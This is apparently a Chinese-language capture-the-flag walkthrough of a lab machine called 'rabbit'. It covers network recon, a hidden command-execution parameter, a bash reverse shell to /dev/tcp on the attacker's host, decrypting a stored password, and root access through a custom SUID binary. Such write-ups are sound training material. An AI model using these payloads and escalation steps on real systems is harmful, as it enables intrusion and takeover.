

# rabbit

write by yolo

## 信息搜集

发现靶机部署好后，没有直接给出IP地址，先用 `arp-scan -l`

挨个用浏览器尝试，发现192.168.1.8就是靶机的IP

```
[17:22:02] 14 [root@kali ~]
[17:22:02] 15 # arp-scan -l
[17:22:08] 16 [root@kali ~]
[17:22:08] 17 Interface: eth0, type: EN10MB, MAC: 08:00:27:d1:f8:5d, IPv4: 192.168.1.4
[17:22:08] 18 WARNING: Cannot open MAC/Vendor file ieeeoui.txt: Permission denied
[17:22:08] 19 WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
[17:22:08] 20 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
[17:22:08] 21 192.168.1.2      10:7c:61:90:0c:c4      (Unknown)
[17:22:08] 22 192.168.1.1      ac:ad:4b:7f:12:e6      (Unknown)
[17:22:08] 23 192.168.1.8      08:00:27:aa:35:65      (Unknown)
[17:22:08] 24 192.168.1.3      54:78:85:0a:a4:4b      (Unknown)
[17:22:10] 25
[17:22:10] 26 4 packets received by filter, 0 packets dropped by kernel
[17:22:10] 27 Ending arp-scan 1.10.0: 256 hosts scanned in 1.839 seconds (139.21 hosts/sec). 4 resp
[17:22:10] 28
[17:22:10] 29 [root@kali ~]
[17:22:10] 30 #
```



扫描端口号，也就只有80和22端口

```
[root@kali ~]# nmap -sV 192.168.1.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-31 05:23 EDT
Nmap scan report for 192.168.1.8 (192.168.1.8)
Host is up (0.001s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.65 ((Debian))
MAC Address: 08:00:27:AA:35:65 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit
.

Nmap done: 1 IP address (1 host up) scanned in 7.56 seconds
```

扫描路径，没啥用，看看网页源码

```
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>欢迎来到X800E的乐园</title>
<style>
body {
    font-family: Arial, sans-serif;
    background-color: #f4f6f9;
    text-align: center;
    padding: 50px;
}
h1 {
    color: #333;
}
p {
    font-size: 18px;
    color: #555;
    /vuxe-xe
}
.card {
    margin: 20px auto;
    padding: 20px;
    width: 300px;
    background: #fff;
    border-radius: 12px;
    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
</style>
</head>
<body>
<h1>欢迎来到X800E的乐园</h1>
<p>这是一个简单的页面哦。</p>
<div class="card">
<h2>小卡片</h2>
<p>再找找吧，万一找到了呢~</p>
</div>
<footer>
<p>© 2025 X800E的站点</p>
</footer>
</body>
</html>
<!--?xe-->
```

有两处特殊地方，也许一个是路径，一个是提示get请求？

猜测对了

```
62 [root@kali ~]# curl 192.168.1.8:80/vuxe-xe/index.php
63 [root@kali ~]# curl 192.168.1.8:80/vuxe-xe/index.php?xe=ls
64 [root@kali ~]# curl 192.168.1.8:80/vuxe-xe/index.php?xe=ls
65 [root@kali ~]# curl 192.168.1.8:80/vuxe-xe/index.php?xe=ls
66 [root@kali ~]# curl 192.168.1.8:80/vuxe-xe/index.php?xe=ls
67 [root@kali ~]# curl 192.168.1.8:80/vuxe-xe/index.php?xe=ls
68 [root@kali ~]# curl 192.168.1.8:80/vuxe-xe/index.php?xe=ls
```

然后就是弹shell到我的kali里面，不太像搞url编码，我直接在浏览器中进行的

```
http://192.168.1.8/vuxe-xe/index.php?xe=bash+-c+%27bash+-
i+%3E%26+/dev/tcp/192.168.1.4/4444+0%3E%261%27
```

User

接着发现www-data用户还是没有权限读取alliy下面的文件，看到有README.txt以及/opt下面的cipher.txt文件，很轻松想到rabbit加密，一直找不到合适的工具，这里还问了下出题的佬

```
www-data@Rabbit:/home$ cat README.txt
cat README.txt
Come and help the little rabbit!

ijmkaK4AAazW2huii0e5ePz6e3pBhTsJHVRdZhZqHBM=
opt?
www-data@Rabbit:/home$ ls -la /opt
ls -la /opt
total 16
drwxr-xr-x  3 root      root      4096 Aug 30 16:35 .
drwxr-xr-x 18 root      root      4096 Aug 30 16:01 ..
-rw-rw-r--  1 www-data  www-data   46 Aug 30 16:31 cipher.txt
drwxrwxr-x  2 root      root      4096 Aug 30 16:35 xe
www-data@Rabbit:/home$ cat /opt/cipher.txt
cat /opt/cipher.txt
Padding: fourth
Key: MDAwMDAwMDM3MjYxOTAzOA==
```

这是解密结果和网站([Rabbit 加密/解密 - 锤子在线工具](#))

The screenshot shows the 'Rabbit 加密/解密' (Rabbit Encryption/Decryption) tool. On the left is a sidebar with various tools: 首页 (Home), JSON, 格式化 (Formatting), URL, 编码与解码 (Encoding/Decoding), 编码查询 (Encoding Query), 数字工具 (Digital Tools), 文本工具 (Text Tools), 日期工具 (Date Tools), HTML 工具 (HTML Tools), HTTP 工具 (HTTP Tools), 图片工具 (Image Tools), and 条形码和二维码工具 (Barcode and QR Code Tools). The main area has sections for '运算模式' (Mode: CBC (密码块链)), '填充模式' (Padding: PKCS5), '密钥长度' (Key Length: 128 bits), '密钥' (Key: 0000000372619038), '偏移' (Offset: null or 64 bits), and a text input field containing the ciphertext: ijmkaK4AAazW2huii0e5ePz6e3pBhTsJHVRdZhZqHBM=. Below this is a section for '字符编码' (Character Encoding: UTF-8), '格式' (Format: Base64), and buttons for 加密 (Encrypt), 解密 (Decrypt), and 交换 (Swap).

直接切用户拿到user.txt

```
www-data@Rabbit:/opt$ su alliy
su alliy
Password: Str0ng!xe_P@ss829
ls
cipher.txt
xe
cd /home
ls
alliy
README.txt
cd alliy
cat flag.txt
cat: flag.txt: No such file or directory
cat user.txt
flag{user-C0ngratulations_0n_Th3_X_E!}
```

## root

ssh重新连接一遍靶机，用 alliy/Str0ng!xe\_P@ss829

然后查看suid文件，拿到了特殊的文件

```
alliy@Rabbit:/opt/xe$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/su
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/local/bin/system_xe
```

最后一个文件显然是自创的，保存下来逆向分析下

```
1 int __fastcall main(int argc, const char **argv, const char **envp)
2 {
3     char *argva[4]; // [rsp+10h] [rbp-130h] BYREF
4     char buf[264]; // [rsp+30h] [rbp-110h] BYREF
5     char *s1; // [rsp+138h] [rbp-8h]
6
7     s1 = getenv("SUID_SECRET");
8     if ( s1 && !strcmp(s1, "Xj3#9" ) )
9     {
10         if ( !getcwd(buf, 0x100u) || strstr(buf, "/opt/xe") )
11         {
12             setuid(0);
13             argva[0] = "/bin/bash";
14             argva[1] = "-p";
15             argva[2] = 0;
16             execve("/bin/bash", argva, 0);
17             return 0;
18         }
19         else
20         {
21             return 1;
22         }
23     }
24     else
25     {
26         puts("Usage: Set SUID_SECRET environment variable");
27         return 1;
28     }
29 }
```

逻辑挺简单，就是说这个suid文件会同时检查env中是否SUID\_SECRET=Xj3#9，然后还要路径是/opt/xe

只要同时满足就能直接给shell，这里的shell自然是root的了

```
alliy@Rabbit:/opt/xe$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/su
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/local/bin/system_xe
alliy@Rabbit:/opt/xe$ /usr/local/bin/system_xe
root@Rabbit:/opt/xe# cat /root/root.txt
flag{root-GGGgratulat1ons_0n_Th3_X_E!}
root@Rabbit:/opt/xe#
```

/(ㄒoㄒ)/~~，其实我在www-data的时候就能直接查找这个suid文件，就不用想着解密了